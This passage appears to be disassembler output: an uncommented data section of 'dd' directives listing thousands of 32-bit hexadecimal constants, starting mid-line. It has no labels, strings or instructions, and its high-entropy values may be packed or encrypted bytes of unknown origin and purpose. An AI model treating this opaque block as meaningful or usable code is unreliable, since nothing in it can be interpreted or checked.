7CF15FDAh, 0CD680B7Eh dd 0B06EC636h, 411ACB92h, 0AF73F385h, 0E15B57CAh, 2DB443FAh dd 0E94BD688h, 0D97D432Fh, 2ADD43DFh, 0E3B7EA84h, 954CC640h dd 0C2D0594h, 0CBAF3A79h, 0C835F2F7h, 17F3B913h, 0B05E4A29h dd 0A92542FAh, 0E62D71Ah, 0EAA8080Bh, 6FC125BEh, 51437005h dd 292F077Eh, 0D2B8D6C2h, 1C016DC4h, 6843D511h, 437813BAh dd 0A457BECBh, 0F3FE317Ah, 3C5D28B1h, 955AB920h, 7BBCA2FCh dd 4009ED5Dh, 169F268Eh, 0EECB2513h, 45D54B48h, 926C6B3Dh dd 0E2FB3E94h, 12B117D5h, 0A459494Bh, 335EA051h, 0F8840D0Eh dd 0C17BBD13h, 6F55F479h, 0A83E2ECDh, 5B5F1631h, 0F31B8CFEh dd 53AEE91Ah, 0C305750Fh, 6833D0BAh, 0E7A928B9h, 0EE2229Eh dd 494384C7h, 0A04D7E29h, 345E5C08h, 12419E54h, 6E1C1h dd 0EAB421EEh, 0CB4A09B2h, 0A3E039B8h, 77022770h, 2FDBBA52h dd 23D540B9h, 4EBD80A0h, 4C875503h, 0D157F581h, 0F12B3B1Dh dd 5E87BBDh, 0FEA24312h, 49821588h, 280731A9h, 0A5668E04h dd 2ECCE15Bh, 2C641BF8h, 6A0EC89h, 1B8748DDh, 15CFA0Eh dd 2114CF92h, 0A833E9D6h, 1725D15Dh, 6212FC52h, 0B8007B1Fh dd 4EE616ABh, 0A4D0BB4Fh, 272910B9h, 0A0773575h, 0BD7014B6h dd 0B249F068h, 28419756h, 1E33F64h, 0B2517901h, 0F8EB3118h dd 469F0446h, 96B427A5h, 0EB881DD9h, 0F5C02767h, 0B17EC5D3h dd 129A66BDh, 0F32303E9h, 0F0B01AA1h, 0EE587734h, 89DD549Fh dd 0D54651EBh, 44276815h, 0B854281Eh, 0E578C230h, 901F2F6Bh dd 0FD0C251Ch, 2D004B72h, 810D021Eh, 1F58EDE1h, 65492E48h dd 595B6650h, 600327FEh, 86134F1h, 0EC4B00BFh, 27ABF786h dd 5C6245E9h, 0F5AAB277h, 76BA61E0h, 202EE916h, 3F276CE6h dd 0DB9780F8h, 0D82D40A4h, 664B8371h, 7400BF8h, 61519D5Bh dd 0C341DD69h, 0C3122EA1h, 296883F0h, 9E8B057Ah, 6AD34051h dd 49595DAAh, 0AB351690h, 17AE8B72h, 5052A933h, 1405F431h dd 0C2013F19h, 2B5309C0h, 682C0B4Fh, 767E54E4h, 3DFA4593h dd 30E37F55h, 8436F9D3h, 0AB10AB77h, 1603CB1Dh, 0E8C4AB72h dd 0D75B080Bh, 0B743608h, 147263E8h, 0C1D78524h, 0B33F7980h dd 0C17BBE2Ah, 0E9EE310Bh, 5E2B64FEh, 86E0516h, 0C8011D02h dd 23078A2Dh, 83BEFD25h, 8F1FDA0h, 302D55Ch, 9E68F7EAh dd 5A53E14Fh, 0F7C1FC72h, 0CBDA31D3h, 613A0950h, 2F820B16h dd 0A05D08FCh, 6A452681h, 0F51CADBBh, 7BFD719Ch, 0E90BA8F6h dd 2671E147h, 6ADE6805h, 49C3CE44h, 1C1DE852h, 0D52D16BEh dd 15E12DB3h, 0EBC150BDh, 54582116h, 0F96016B1h, 27CBCBFEh dd 5E12DF77h, 0FDE5025Fh, 5DBB0076h, 0BEA07423h, 0E09D5AD3h dd 48FF3F9Eh, 890E428h, 4E41A64Eh, 0ADF32381h, 8280AA04h dd 98DA3096h, 0A84F4F69h, 4E94F7D2h, 28C5B70Ah, 9CEF4B61h dd 0D02D680Eh, 5068DC2Eh, 434F72E9h, 5922F30h, 0ED024C57h dd 0C2498232h, 0FD9CCA55h, 0B03899FBh, 59C52569h, 0E21F4C4Ah dd 0EF49CB12h, 0DF0C7732h, 51509DF1h, 70680455h, 0C1674B47h dd 0A56CED27h, 0F841F70Fh, 149731CDh, 951BB2DCh, 0E9500460h dd 0EA125675h, 0DA1019E2h, 55BD4F36h, 1709E603h, 0DBF12B66h dd 78BC7BB3h, 364BB8A8h, 0D9B14932h, 85572D07h, 51035E01h dd 85099268h, 9346A3AAh, 47B5FCFCh, 99E085F1h, 8B82D45Ch dd 0C426C23Fh, 0A2C3209Ch, 73B85D4Fh, 6732AAF4h, 30A9C031h dd 36592DE9h, 1FA4A259h, 0D508E809h, 8ED9AEBBh, 32712363h dd 25394166h, 0C3E8D45Eh, 1309E1A3h, 0F30ACE68h, 571703DAh dd 0B86350Dh, 0C40C0090h, 0FC146A03h, 0E0612C22h, 0B7E102A7h dd 17C1C94Bh, 0FD006A25h, 6E141DBAh, 0A1A590A9h, 0C9729F82h dd 342CD73Ch, 0E5C185CEh, 7A27C203h, 3D78DBFEh, 5B32BF5Dh dd 62EB6480h, 98C01841h, 227C3EC7h, 0CA8AB849h, 0A5B3E250h dd 16FB34FFh, 5621AFE9h, 2063A558h, 7F4F2635h, 591B0527h dd 0C00CB0B0h, 7C1CEE79h, 82C71305h, 23310D47h, 0BF3A1A03h dd 3504B500h, 0B0E94E74h, 0B84A0B63h, 0AC43A63Bh, 226C38D1h dd 0AD7E05BDh, 4DBE0D3Dh, 0DA1D1A95h, 6E0279FEh, 0F67B1E20h dd 2050347h, 0EFC52E2Dh, 2507E310h, 5012D65Eh, 0F64BB6E9h dd 422299AEh, 0CF8E71Ch, 5AF38805h, 5882B151h, 5FA4D852h dd 2231FB5Bh, 0E67B7654h, 49D7391Dh, 92E9B08Dh, 0BB5EB7A7h dd 659571A7h, 0C0B78B52h, 0E9C8AF0Fh, 8BBE5509h, 0A969C23Eh dd 54A942F5h, 0A3DE2D65h, 1A42C58h, 0B252D828h, 7C83E964h dd 0FB5A3Ah, 6026CF35h, 0F7EC3C5Dh, 68E41F04h, 0BDEB014Bh dd 8EB58482h, 502EF7AFh, 274EB89Ah, 0C5D009E2h, 0FB205D05h dd 0FDE1EE58h, 405B17Bh, 0FD31330Bh, 5B5B38BEh, 0D55203FBh dd 0A0BD1F6h, 4049E967h, 170FB858h, 804CE10Eh, 0EC85A501h dd 0D9B19C5Bh, 7C77683h, 0FEC80580h, 8FBF41E9h, 27F8D3B4h dd 5124348Bh, 0A75FB85Ch, 0FDEA02F4h, 518AD355h, 5B09DD42h dd 9F5056E9h, 983A1895h, 0B2719760h, 4B33F6E3h, 5274E430h dd 46FEE090h, 20059125h, 746AF1E3h, 7A89E619h, 0B16127CAh dd 92A3137Fh, 0F06C46E3h, 6EA04C4Eh, 0BA036494h, 46EC6EDDh dd 0A76097F1h, 903C583Dh, 11051839h, 0F2880C1Ah, 5AB7E3F0h dd 44664D92h, 0DBB0500Fh, 0D6361EF7h, 5F6D80D8h, 4D4BB668h dd 760415B3h, 83473A49h, 34FF8C4Bh, 84E8BAB8h, 0D042E984h dd 4E36B9D3h, 2548533Dh, 2726DCE4h, 0E8A9E5D5h, 0BB324BA5h dd 78B010D2h, 502CFD40h dd 400F0ACAh, 0E30481C6h, 0E887B93h, 1B2929C0h, 9EFA4978h dd 0A622B15Fh, 410C1118h, 98210C4Ah, 0E97F09F0h, 0C6F782CAh dd 0A5964904h, 4FD99B4Fh, 17E17CF8h, 11B97B87h, 0B19FD84Ah dd 0C605F79h, 266F6052h, 0CF4B01Ch, 7D296AC4h, 5F16310Ch dd 0CAEB3343h, 2BE98F7Dh, 68841820h, 0F3554EB9h, 310230A9h dd 0E7CF2959h, 40797B37h, 0C33780ECh, 0BCB3AD4Ch, 5A162561h dd 9F20ABDAh, 0CE283B84h, 0EDC99497h, 0CEF85B63h, 5BE5600h dd 0E9792C46h, 64C89825h, 0C07EA3C9h, 9F149942h, 7CBEB200h dd 180CAC12h, 0F646EED1h, 66750252h, 4E3CE914h, 20087975h dd 92814AC6h, 0E5D4C5F7h, 95A1E9F0h, 80053204h, 597E8CBAh dd 1F00D196h, 6813EB17h, 31194EB0h, 6F520C64h, 0EB10668Ah dd 0B5BE2406h, 75324C6Fh, 21F31DC6h, 12566D5h, 151E5588h dd 8788EE01h, 4291E08h, 0EE5705E9h, 4404B056h, 0F0ABDD8Fh dd 3F02C75Bh, 0E91DE06Dh, 718D693h, 825AF580h, 0FBED7E12h dd 15483390h, 5776DD20h, 0F280065Bh, 2D1008BEh, 745945BAh dd 7037813Bh, 319EE966h, 6DEAC781h, 3A41F349h, 87D10BEh dd 0B278552h, 0C65EDA86h, 4E276A73h, 48807D2Dh, 0ACE9D001h dd 0D5DD0B97h, 0A53FF965h, 0BBC2008Ch, 72BD5217h, 9C460572h dd 0AD29F19Bh, 1E9D043Dh, 0C1ABC07Eh, 71EF016Fh, 0D44C35F3h dd 289C314Ch, 0BF20BD8Ch, 0F8D128EEh, 0F18919AEh, 3F821C5Eh dd 8A3113CDh, 0BBB1162Fh, 9D9F5761h, 8681684h, 93FAA630h dd 4AE974CCh, 3B9FF1FEh, 0FB2D88A6h, 68AFD009h, 0E714810Ch dd 98DD8880h, 9CE2978Fh, 52DCFF7h, 560F3C68h, 1BC40046h dd 0BD4D0B29h, 0FC0B196Bh, 0F5562FE4h, 76FAD7C9h, 9230B825h dd 0D9545500h, 0F14D5442h, 205FBDC1h, 113BD29Ch, 0A70C666Eh dd 0F58B8334h, 80B4C42h, 570779DCh, 0E5C069ACh, 506B7DEAh dd 13A89721h, 1244E8E6h, 0EFF5FAB7h, 1480C7C0h, 8C5864EFh dd 792A8A3Fh, 7C5342C7h, 1BE235Dh, 2843E281h, 0AF684B6Fh dd 0CD3F213h, 5A8EEEDEh, 207F398h, 6817417Eh, 0E3980664h dd 0C8B44A5Fh, 0E70EC535h, 0C30D297Dh, 0B20533F5h, 0E99C8123h dd 0D32B3F16h, 0CCE8EA5Bh, 0C24F896Eh, 0F26DFF22h, 9E7A9D5Eh dd 8CF7829Fh, 0C2A6F6FCh, 0AC980E07h, 21442EE9h, 22C0AC3h dd 94A6362Ah, 0A05A08EBh, 426A0F6Dh, 306482Bh, 7016925Ch dd 9CFD9737h, 0D1992F6Ah, 6809F871h, 0A5F1AFF2h, 0B2EA85A6h dd 2FB31A4Ah, 0C299730Eh, 51F0EF31h, 94B0F85Bh, 38986044h dd 0A97F682Dh, 12ED9DA0h, 0C54B2A25h, 5BE98553h, 0DA55D83Ch dd 5BDB940h, 52712F43h, 88BB0929h, 56772642h, 0E0559414h dd 541689D0h, 0A92D16Ah, 0FB1B34DBh, 38701D01h, 11685055h dd 0FD7FB6D9h, 0B5944CFEh, 0FD48290Bh, 994F71C4h, 1E939C4h dd 80B3BEF5h, 0D45A5EC9h, 88EB664Ah, 51BFEBD6h, 0FC44125Dh dd 0F4DA4DFFh, 5A73ABA9h, 8E7EC1DDh, 589E88E0h, 0E60F4905h dd 89123D08h, 5E3B7E1Eh, 8BD8BC0h, 724D2E46h, 0B792BEF4h dd 7704B98Ch, 0A84504Fh, 0CEF52CFAh, 0B19A1058h, 33819F5Eh dd 0CF5DD2F5h, 4DE4604Fh, 0F647782h, 2D1D7097h, 325FF49Bh dd 9372D73Fh, 47B86398h, 0A8685909h, 927D594Ch, 7EA31C11h dd 0F10BB840h, 15B562h, 7D758B50h, 0C650B574h, 55D8F707h dd 6DE16856h, 293F4164h, 1AB46B38h, 0AB28516Fh, 16701920h dd 0EA62F540h, 68FD2A41h, 0C3784BF6h, 0EBE17518h, 6409E0F3h dd 84F70DADh, 0B081E333h, 0FA048D94h, 90C57504h, 5CCBAFF9h dd 0F946DD29h, 7E4DF198h, 610B8446h, 501F6802h, 0C71AB3A2h dd 27A33C7Fh, 663A3BA5h, 94AEA62h, 116B04DCh, 0E91101F0h dd 0DD073F55h, 0FC24B5Bh, 62AE7C04h, 0BD002EDEh, 7A0E22ECh dd 0EAC22C5Dh, 0C9DA9DDBh, 6C2B581Ch, 5057A7Eh, 0C0C26923h dd 77F8EAB7h, 7AF16F5Eh, 0B9D6846Eh, 1E3D234h, 2767E91Ah dd 0C8E50482h, 425B59FFh, 59F7A771h, 0B9516057h, 8B3E1ACFh dd 0B7F10239h, 0DD4F6A73h, 8C0493DAh, 29891E96h, 0C6C0B9AAh dd 659328Fh, 0C36AD3BAh, 0B863FA36h, 8188C987h, 99306D68h dd 93CE276Ah, 500C1E5Ah, 867727E9h, 0F3DCFB88h, 955FACEDh dd 68F4A602h, 6C8235D1h, 7D3A203Ch, 704869C1h, 52337F2Bh dd 0D3E61490h, 0F1289B81h, 902E4A62h, 0C6A775Fh, 0F029BD12h dd 298AD211h, 5625FABAh, 0CD554956h, 8392B25Ch, 6813C2F0h dd 0E98C3F25h, 0CA6F0561h, 98FA3151h, 89B65F3Ah, 90505D54h dd 5B71B892h, 0AC811308h, 7A630BB6h, 68785156h, 0E97040ACh dd 0BEA52260h, 5B8D7D55h, 53E98027h, 62E8E6BBh, 0DE31070Ch dd 1406185Bh, 78EAE94Eh, 27BEF602h, 0ED602219h, 0D02F213Ah dd 68F86115h, 7F762CF5h, 0E9180222h, 0B076E85Dh, 818858CDh dd 0FBC2D112h, 0C15F01DCh, 0E1210E88h, 73022F0Dh, 0E00CFE7Dh dd 5DEF513h, 6AE91B9Fh, 0E28DFA73h, 12989C60h, 0AE3ADC6Dh dd 27FD9B01h, 660150C2h, 0B074CE3Ch, 0D9426581h, 132E5B70h dd 9278FE1Ah, 0BE3C40C1h, 402DD406h, 0E7EE29E2h, 4C38B27Fh dd 0DD8E6B59h, 1245865h, 0F1CC4A3Dh, 12561FE6h, 0F79E496Ah dd 0F36056FCh, 2751D641h, 2DE80107h, 0AD276857h, 58807466h dd 674DF6E9h, 96DD3BD2h, 75AE5740h, 6CBF80E9h, 0D0B771Eh dd 7803E0C1h, 824EF8BFh, 0B3C9E407h, 0DA4C899Ah, 0BDE982C5h dd 8B9465DDh, 0E9DDA41Ah, 2F113CCDh, 0D2623A2Bh, 0F21BDD37h dd 6F0464FBh, 92595DE1h, 0B20581ACh, 0BBF97D67h, 875A5B04h dd 30D72C03h, 31FF82FCh, 880FB571h, 0E04E4BD5h, 0D3F62Ch dd 28FDB450h, 0EB8058E3h, 0AB82F94Bh, 126B7486h, 0BA7FA5Fh dd 0E983B994h, 0B5274692h, 282359E6h, 7674052Dh, 444D5164h dd 0A6D9C4B4h, 0DB5B2D50h, 0BA60862h, 4F0CC728h, 0C730E07h dd 9A1C1306h, 5C160821h, 1E82B034h, 13087432h, 0C669F25Dh dd 0B52E2A7Fh, 4C402FEh, 0FA2A6F44h, 57D96D31h, 0DEC02E68h dd 0E914505Fh, 2AD6F8B0h, 0E9746CBAh, 0A01D2C25h, 3950C8CDh dd 81089A36h, 0B2200D88h, 5CC1B054h, 5C81FAACh, 0EC3E2063h dd 0BA800CE7h, 232A0022h, 98CA8130h, 3D0B5A21h, 0F454DFE9h dd 8D99BBA0h, 6EE893A2h, 45C92CA1h, 0F991C004h, 214C5107h dd 4A14179h, 847A8708h, 0E124AF63h, 97BFC784h, 0B7039B51h dd 9F06B3A2h, 316765E1h, 28C325B4h, 0D20808F9h, 0D9870F29h dd 54A964C9h, 2C894276h, 0A5E4DDA8h, 4AE8567Ah, 3EEF9FC0h dd 0BC1796DFh, 985E1494h, 8007EE05h, 1837802Ah, 47583367h dd 0D4D0186h, 91E9720Ch, 0EFCE162Ah, 4A492CCAh, 1026680Bh dd 28982130h, 812D540Fh, 0CC5F2EF7h, 38C1827Fh, 0D13B7C50h dd 0C3FAE90Ch, 0C92CC7F3h, 6388C958h, 0C180026Dh, 18E330A2h dd 0E287C7B7h, 0F4557585h, 0F1C3C644h, 23E37F90h, 0CCBF4EE4h dd 62C5B958h, 7DC327DAh, 0C2631CAFh, 9BCACEFDh, 21EF2C7h dd 0A6A5AD0h, 7AB3CD82h, 2B39A5Fh, 763FFEF8h, 0BBA7BB9Ch dd 0F103D142h, 0D10362EDh, 0F4EB3C2h, 0FEFCE47Fh, 0A9202A58h dd 0F3015913h, 228CD9EAh, 12825897h, 0FB657A0Dh, 422828C1h dd 0EB250569h, 0A230E0F7h, 0AC16CE73h, 0EE9C51C4h, 209502B3h dd 2875CB13h, 229D5F93h, 0FFDC4500h, 934225DBh, 2E946C28h dd 43D04499h, 1D3E8703h, 0EC9A92E2h, 4271C9BAh, 170E84E5h dd 0EB4D0A8h, 0EA6151BFh, 41C2FE53h, 30289DCDh, 0FD5F13FEh dd 9E4E23A2h, 41E91AC8h dd 847955A5h, 0C051E843h, 0B8E0D168h, 0A02F9ABCh, 98FEEB53h dd 0EFA54EABh, 0AF4B42CAh, 0EFDB5688h, 8AEE8100h, 0FE9D5027h dd 60236069h, 689577A8h, 8037FAC9h, 273E8C05h, 0F740382Dh dd 5C161C25h, 58C106DCh, 22093C55h, 82647710h, 0E0676DE1h dd 735AD5C0h, 204D2F7h, 1FEE2F28h, 53C27AE2h, 0D71A39C0h dd 0FAECBA28h, 93ED9BDh, 0B9DD8CB5h, 0B26B518Eh, 381AC077h dd 30E923F0h, 0CBDB583Ch, 60E21298h, 0B44A4690h, 41067BE4h dd 53FA2AF5h, 8DBD05CCh, 6241AF46h, 0F5109CFh, 8E4097Eh dd 76A91CE3h, 0D7896A27h, 4744EE83h, 57F36972h, 7640BBD5h dd 0D827D7F6h, 0A05D9F37h, 0E1885A67h, 0CF302D58h, 0C7C35BD6h dd 0F6E79987h, 0E90BC16Bh, 95F725Bh, 0FFFFCEBh, 0F9956650h dd 0B7E61EDBh, 0E05BD472h, 69D11308h, 34C1F120h, 2E7E2B71h dd 7718C3FCh, 0A95C4E01h, 0A10841D8h, 2303141Ch, 5599A41h dd 0D94C2124h, 3576C218h, 0B468BBC8h, 459A6274h, 75A210C4h dd 522D1408h, 4F59321Dh, 0CAD7C6A7h, 0A1BFE664h, 0A4579828h dd 0FD26CD52h, 65D9D59Ah, 63A7B08h, 2F88CFE9h, 212AB645h dd 2A4A7566h, 4F06D7CCh, 57F1C81Eh, 0D26C9B9Dh, 0C35DF4DFh dd 5000B7CEh, 8438E8BAh, 58D1894Fh, 0FE075E5Ah, 606DDE09h dd 0B59F2C9h, 9D41543Eh, 8FC2F7E9h, 0B3CB015Dh, 0F6B0EBE5h dd 13579FCFh, 0A2ABECBDh, 0C7FCE5F4h, 0F8BB1h, 270D4AB8h dd 0C0F06FD6h, 2205FAA0h, 3FF24800h, 6A914E2Dh, 87014ACDh dd 0ADF41B7Bh, 0B1C6F684h, 12B3C187h, 0BBA34EE2h, 56E99467h dd 2E666624h, 0A4BE390h, 29EAF684h, 28B82A90h, 2C78E9B1h dd 64BB02C4h, 4079C008h, 0F8F7A030h, 5FBBB886h, 0DC4697DEh dd 0D179E40h, 0C32C30D7h, 0F9E91257h, 3261E7EFh, 0C8826D13h dd 0B5D6F6BEh, 0F03BB069h, 91B58316h, 0CAF9C20Bh, 87D4A3FBh dd 0DD35E923h, 7FAE8F20h, 5B56E4BFh, 4860F59h, 41EB5A70h dd 6323D801h, 7BCAFB78h, 711779FAh, 2FE921Ch, 0AE4C2DD7h dd 0D07FCCC0h, 12C9C388h, 0BF5BDE30h, 0E913B1B3h, 3588B058h dd 0D35E0500h, 0F1254869h, 4D5B3D5Ah, 0E4A51679h, 0B713AFB3h dd 0AC6AE9CDh, 0A380E46Ch, 4BD44CE8h, 68938128h, 0D2603A3Dh dd 0DCC9E950h, 0F987A42h, 0E2860A25h, 0EEB8CAE4h, 0FF97627Eh dd 905E2AB1h, 0C033CE2Ch, 2F9980C8h, 2A683130h, 0E0DF66FFh dd 27B9B35Ch, 93BC8E45h, 0FD4CA20Bh, 0D0D73BBAh, 5401394Dh dd 975E2927h, 0BB260A48h, 0BC06142h, 300A02DDh, 200372E2h dd 3E987C1Fh, 59FE8180h, 221E3958h, 0E5C1142Ch, 0C45AEA06h dd 0C428E66Ch, 839480E9h, 0B5A2DAC6h, 0D969DDD1h, 6C509882h dd 0C6976147h, 52712002h, 424E682Dh, 82E6CE17h, 282D61ABh dd 0C70E9629h, 144223BFh, 0F3C2DF01h, 0EE290805h, 75DA6891h dd 585B5220h, 68043E51h, 0EF71B734h, 0A5CD724Fh, 31F45E5Ah dd 0EE6F13C9h, 0FA6A522Fh, 0D0DA28CDh, 34AB856h, 0B0505323h dd 6E7A8852h, 0EFFAD7E6h, 0B1AECED2h, 0E82C6EA8h, 0E82F4FB2h dd 507E5842h, 0AD5E41BDh, 0A55845A7h, 74D1E22Dh, 31800596h dd 0D3766CB8h, 7945FA9Eh, 0D5958048h, 0E9F065F8h, 71BD23B2h dd 6A32C99Ch, 0A30E4875h, 5366BF5Ch, 0D76A522Bh, 2D26A908h dd 68618B7Dh, 80428DAEh, 40FCE821h, 8612D1Ch, 7842E017h dd 767D3E68h, 54CE676Eh, 0B28EBF2h, 0D4459559h, 0D51621C5h dd 335655FCh, 4480680Bh, 3055789Ah, 0B75EF23Ch, 0D44B3094h dd 0BB5B95FEh, 5CC722B3h, 246009E9h, 5D4E0268h, 0D91063A3h dd 10014849h, 291298FBh, 0B54717F7h, 0CFB8FB55h, 0B7185A7Bh dd 2B704F22h, 0E7842DD3h, 0FD892BFFh, 0EB66208Eh, 0E91BDB08h dd 0F0A34B13h, 5C4859C0h, 0C207DB02h, 0C00FA03Ch, 0AC71DCF3h dd 0D6182060h, 0B038E478h, 0BDF40C27h, 0EE6E3EB1h, 31591913h dd 82750BAh, 66F75B1Eh, 0E9050386h, 0BA8472D3h, 0EFE52CFCh dd 0F2591128h, 62766431h, 6E27C377h, 2B1EA04h, 85EB6201h dd 0A2D5EA84h, 0E2E4D901h, 0D5FE4BB4h, 0FE21DDB0h, 53C0E913h dd 0A4C0BCFCh, 52166772h, 0E91BFAF2h, 8320C44Fh, 5957B9CEh dd 0B11EA323h, 0A16392A6h, 6BD2F63Fh, 136B3509h, 5F97892Bh dd 0C82A4C4h, 3EACC7DFh, 314E22A0h, 578B6CBDh, 22709B8h dd 64472097h, 24226142h, 205DCE01h, 0E639D08h, 288910C4h dd 820FB006h, 0C544DB31h, 39B28FCAh, 61369C0Bh, 7823152h dd 89D7745Fh, 8E145A51h, 587518CBh, 0E89BD2BAh, 36ADF4B1h dd 6F38457Ah, 97E93E7h, 4E9948AEh, 33C96903h, 3D4284Ch dd 0D8285975h, 0E9C18C5Bh, 0E573C08Ch, 120B552Eh, 0BE8F56B4h dd 0CC6B7B29h, 964EA246h, 8BF52121h, 6873B900h, 3105F80Ah dd 0C500E1CDh, 8372F2DDh, 623CF02Dh, 791E7822h, 0F6E2D000h dd 0EA803FDAh, 0AC46302Fh, 0A2291120h, 0F70A644Dh, 0FE2EFCD5h dd 78549162h, 0C86AE7D9h, 11BF3E6Dh, 0B43AC5A6h, 60FF5F3Fh dd 671415A0h, 58E6653Dh, 0CAE7047Dh, 12EB9621h, 5CEF0C97h dd 2DEEC67Dh, 5A7EC827h, 79088251h, 63766BFCh, 14B0FE65h dd 88531C51h, 5BF98FE7h, 0E4012185h, 5E1E4A79h, 9DD62A28h dd 0B86EA0h, 1B2D332Bh, 0B64D7B35h, 520D411Dh, 8119C88Fh dd 60B95ACAh, 25ACE7D4h, 85D7D6B4h, 79D2D390h, 8976FE5Eh dd 18556185h, 4E5D684Ch, 1298E35Bh, 3780E4h, 0C67A3C82h dd 0A4BB0460h, 0C149B65Ah, 0E453526Eh, 74173407h, 52178906h dd 44632CBEh, 0E545C566h, 0A740932h, 0D15240D9h, 1C66C620h dd 2412C480h, 30A43A20h, 606C40C2h, 98F67CA5h, 0EB8BA295h dd 3D43FF5Dh, 8BD553DAh, 0EB7FD1A6h, 0E95E4C05h, 2C7D1D29h dd 0EE074D10h, 0C4646CEDh, 6B90EBEAh, 0B6800AE9h, 93E269B9h dd 5915F95Fh, 95012F82h, 0D0F62DB0h, 97B1331h, 5D625F90h dd 0EDFF6F2h, 3BBAC8h, 3C5E5B68h, 42505A4Eh, 7B162393h dd 71F5528h, 60AF024Ch, 95209D67h, 11785FCBh, 8EBDECF3h dd 2AA27797h, 5402AB7Ch, 213CFD5Eh, 3CD2E912h, 0A6D221E9h dd 1F781002h, 5A391748h, 2DC1EB92h, 19E47E75h, 0BEE6B7A1h dd 0E7305795h, 36260E9h, 0DC3FF5F1h, 31727C54h, 31EEB8D6h dd 725D82D6h, 0E1B99602h, 161A1510h, 1580D8F7h, 60613290h dd 7A730A0Ah, 0CB000568h, 3110E203h, 637EE9C5h, 5455EE39h dd 9F802BAh, 0EBDAF195h, 74772C1Ah, 0DD89AFADh, 0E912D63Eh dd 0E6ABCF91h, 38680B38h, 0C2A6F97Fh, 245750BFh, 9DC25ADFh dd 9FFC840Fh, 1822EB12h, 2DF15C8Bh, 778CC9F1h, 0BEB3D25h dd 8857C50Ch, 5BDBC055h, 0DD013D78h, 2D086828h, 0EEDB295Fh dd 945AFF3Dh, 2C25B6F9h, 5D69A6EEh, 0B2310529h, 2E58CDBBh dd 43FA2149h, 37976984h, 4CA372D7h, 6431D750h, 0D4ECBF0Ch dd 0BD071DA8h, 90C4B009h, 0FF6F86F2h, 13E3820h, 0AFF617CCh dd 2DAEBC5Fh, 788AF943h, 0D5F713F5h, 392A20B4h, 1CC0445Dh dd 54D49917h, 883AC3B1h, 4ED8E937h, 1ECABF3Ah, 8B0C3341h dd 848ABFDh, 5EE85A2Dh, 0E60681ECh, 0BCE9070Ah, 0C18488CBh dd 2DBEB8E2h, 685AF12Eh, 8EAB244Ah, 37F44BEAh, 0E6265B42h dd 72688374h, 0F8EF842Ah, 0A3BEE52Ah, 78C02C26h, 616ABE81h dd 0DE9850E4h, 37428207h, 0B2968898h, 0B014E905h, 0FA04D0F9h dd 0AA56AB72h, 5D0442EDh, 0A34AAF68h, 0DF191090h, 0E2E58101h dd 703A8F28h, 1658D96Dh, 1CE90B9Ah, 287E596Ch, 919A54A6h dd 1E30BB9h, 88FE4AC1h dd 5CE2EE82h, 9B9982F1h, 0AF9C0D9Eh, 0CF42C1Ah, 5B2E3C0Ch dd 4C8249CEh, 2C9527DDh, 0ACFD5489h, 0AF842C26h, 0A654D6F4h dd 0AB681693h, 0EEADCC2Bh, 49EAD6B7h, 0AF5898D4h, 0F9DE2DE9h dd 0D2FA1F1Ah, 1F11E72Ah, 415ACEF0h, 59CF54E3h, 90F5710h dd 4288E9C1h, 0DF6C7759h, 1976D6A0h, 409DCD7Bh, 251732B0h dd 0CF707BFAh, 560806C6h, 1311F450h, 0D7894BD0h, 9C4A31A8h dd 3F082563h, 7AB8D603h, 0C60C0434h, 0B815D910h, 3BB14ADFh dd 0B21EEC3Eh, 5B71565Eh, 0E7B8D83Fh, 68B5E917h, 0F9F84FFAh dd 0F9CC3A04h, 56910ED4h, 0D5292B6Fh, 0E904C865h, 5CC9E713h dd 6BCFA86Bh, 0DB4B5D0Ch, 0E7B0AEE5h, 31EA27E9h, 2FD8E3Ah dd 5F6E6648h, 6C251247h, 0C6B6279Eh, 0F3023AD7h, 4AD813E3h dd 62565F2Bh, 0E22039D9h, 5C52070Ch, 0FBE7862Fh, 2925AB70h dd 0E79D7CF5h, 0E3FD2BEFh, 252283A4h, 90575E28h, 1BE56C5h dd 379D08C0h, 9210B3E9h, 0F2BEC25Dh, 5EE9F09Ch, 39D59780h dd 0A96F5208h, 66EB82CDh, 0EE976020h, 8F5709B1h, 9084555Bh dd 83AD02B2h, 0F48E07Fh, 0DC8E3084h, 1B306816h, 4512179Bh dd 5017A7BAh, 7B5B01B9h, 0ABD386A3h, 12D451E2h, 0BE87D5B1h dd 47CE1FCDh, 83F60A70h, 46681539h, 0E87D4516h, 0D706C4F2h dd 0EC36C45Ah, 5D582FEFh, 11684110h, 5F9F0D70h, 739E7738h dd 51A5797h, 431AFD54h, 5FDE5F66h, 0C3678650h, 2A4ABA9Fh dd 248DCAC9h, 1870B480h, 644FE77Ah, 0F5EBE192h, 0C156CD29h dd 75CA2609h, 6AA8425Bh, 90512920h, 0D33B056Ch, 0EA55D6CBh dd 4BBB99B4h, 0C4D28D20h, 715E3E17h, 3E0E2AAEh, 0F9E9835Ch dd 381FA579h, 7A92540Ch, 8BA7484Fh, 0C5FBB916h, 73F3BBA3h dd 263CAE5Ah, 3F6A2CE9h, 93596793h, 4E02A562h, 8FE6B7BEh dd 20635F5Ch, 0FAD2129Dh, 17A353F0h, 103E786Eh, 0C3028650h dd 18197D42h, 0DBE286D5h, 1B9EC408h, 43F116E4h, 0E12DAF3Ah dd 0F3BA020h, 5F7FF879h, 0C002E785h, 0E1E4E8EBh, 1255FF4Dh dd 89FAACFAh, 3E5E2147h, 0DB6D704h, 83C4B8EAh, 27522968h dd 80C2AAE3h, 0D572137Eh, 7F498B59h, 1BE38480h, 0E9124211h dd 0A7F33AD0h, 622B4505h, 0DAF50161h, 2F7A5705h, 8427E2C0h dd 0B513B05Fh, 5445468Bh, 11FD25BFh, 0DFF24897h, 0FDAA619Ch dd 64C965F5h, 0A8F9BE54h, 4294FED6h, 0CBAB8913h, 1DEE905Eh dd 0F525E689h, 0C5D72232h, 419C92ACh, 3C1ABEB3h, 0C8F03AB9h dd 0EF4BB748h, 0E4C1EA95h, 0D8D47D2Ch, 9CC9E904h, 16ACED2Fh dd 80CC3ED1h, 36BAD3h, 0DE3F58B9h, 0EBBCBF0Ah, 0D0415D25h dd 0B89B07Ah, 4C3C2B15h, 32A0B7D0h, 581D6C8h, 7140D4E8h dd 2AE4F781h, 0C2C609Bh, 19DB4E09h, 0B6093B90h, 5D1D7C16h dd 340855A8h, 5214001Ch, 175960BAh, 96426228h, 304C2416h dd 86EA3300h, 2794AC7Ah, 0D845D101h, 3D38A188h, 2F4BE782h dd 17D2B57h, 0D5FDF7B5h, 0BC18177Ah, 38E9F1FFh, 0E035A46Ah dd 9D5EDDB8h, 0E4129D8Ah, 0A29FBC28h, 2036F256h, 0F0BD26E1h dd 45126984h, 98B9B65Fh, 496298DAh, 